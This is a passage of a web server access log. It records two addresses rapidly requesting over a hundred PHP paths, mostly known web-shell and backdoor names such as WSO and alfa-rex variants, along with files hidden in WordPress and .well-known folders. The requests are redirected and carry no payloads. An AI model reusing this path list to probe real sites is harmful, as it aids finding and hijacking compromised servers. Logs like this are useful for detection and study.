[23/Apr/2025:03:19:08 -0400] "GET /ssa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:08 -0400] "GET /land.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.191 - - [23/Apr/2025:03:19:08 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:08 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:08 -0400] "GET /sys.phhttp:/marykelledy.com/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:08 -0400] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:08 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:08 -0400] "GET /hobi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:09 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:09 -0400] "GET /cgi-bin/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:09 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:09 -0400] "GET /.well-known/pki-validation/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:09 -0400] "GET /hardenX.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:09 -0400] "GET /wp-content/plugins/Core-Econ/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:09 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:09 -0400] "GET /Files/Mo0n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:09 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.191 - - [23/Apr/2025:03:19:09 -0400] "GET /.qiofetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:19:09 -0400] "GET /x7.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:09 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:19:09 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:09 -0400] "GET /rex/l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:09 -0400] "GET /.well-known/zaza.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:09 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:09 -0400] "GET /wp-admin/network/abuot.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:19:09 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:09 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:09 -0400] "GET /wp-content/plugins/rex/l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:10 -0400] "GET /.well-known/acme-challenge/shimo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:19:10 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:10 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:10 -0400] "GET /bv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:10 -0400] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:10 -0400] "GET /wp-includes/images/smilies/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:10 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.193 - - [23/Apr/2025:03:19:10 -0400] "GET /FoxWSOv1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.191 - - [23/Apr/2025:03:19:10 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:10 -0400] "GET /wp-content/plugins/Core-Econ/upH.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:10 -0400] "GET /max.phhttp:/sushiavenue.fr/alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:10 -0400] "GET /cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:10 -0400] "GET /Patrick.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:10 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:10 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:10 -0400] "GET /pegi.PhP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.193 - - [23/Apr/2025:03:19:10 -0400] "GET /.well-known/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:10 -0400] "GET /images/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.193 - - [23/Apr/2025:03:19:10 -0400] "GET /modules/karakaroa/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:10 -0400] "GET /.well-known/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:11 -0400] "GET /cgi-bin/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:19:11 -0400] "GET /bk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:11 -0400] "GET /edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:19:11 -0400] "GET /new2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:11 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:11 -0400] "GET /chosen.phppload HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:11 -0400] "GET /wp-includes/blocks/button/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:11 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:11 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:11 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:19:11 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:11 -0400] "GET /wp-content/plugins/apikey/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.191 - - [23/Apr/2025:03:19:11 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:11 -0400] "GET /sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:19:11 -0400] "GET /abuot.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.193 - - [23/Apr/2025:03:19:11 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.191 - - [23/Apr/2025:03:19:11 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:11 -0400] "GET /css/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:11 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.191 - - [23/Apr/2025:03:19:12 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:12 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:19:12 -0400] "GET /wp-content/plugins/clara/clara.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:12 -0400] "GET /black2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:12 -0400] "GET /wp-content/uploads/2022/bidlbdgp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:19:12 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.191 - - [23/Apr/2025:03:19:12 -0400] "GET /hj.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:12 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/theme.phpcom.au/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:12 -0400] "GET /wp-content/mu-plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:19:12 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:12 -0400] "GET /wp-content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:12 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:12 -0400] "GET /sym.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:12 -0400] "GET /components/lig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:12 -0400] "GET /main.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:12 -0400] "GET /backup/sid.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:12 -0400] "GET /wp-content/plugins/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:12 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:12 -0400] "GET /lp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:12 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:12 -0400] "GET /wp-admin/css/colors/modern/git.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:12 -0400] "GET /ki.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:12 -0400] "GET /jkaeeehs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:19:12 -0400] "GET /Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:12 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:12 -0400] "GET /wp-includes/wp-includes/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:13 -0400] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.191 - - [23/Apr/2025:03:19:13 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:13 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:19:13 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:13 -0400] "GET /user/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:13 -0400] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:13 -0400] "GET /.well-known/acme-challenge/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:13 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:13 -0400] "GET /wp-includes/wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:13 -0400] "GET /yt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:19:13 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:13 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/theme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.191 - - [23/Apr/2025:03:19:13 -0400] "GET /about/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:19:13 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:19:13 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:19:13 -0400] "GET /wp-includes/css/dist/niil.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:13 -0400] "GET /wp-content/uploads/2023/user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:13 -0400] "GET /wp-admin/includes/manager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.191 - - [23/Apr/2025:03:19:13 -0400] "GET /wp-admin/images/wp-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:14 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:14 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:19:14 -0400] "GET /vendor/guzzlehttp/alfa-rex.php7 HTTP/1.1" 301 795 "-" 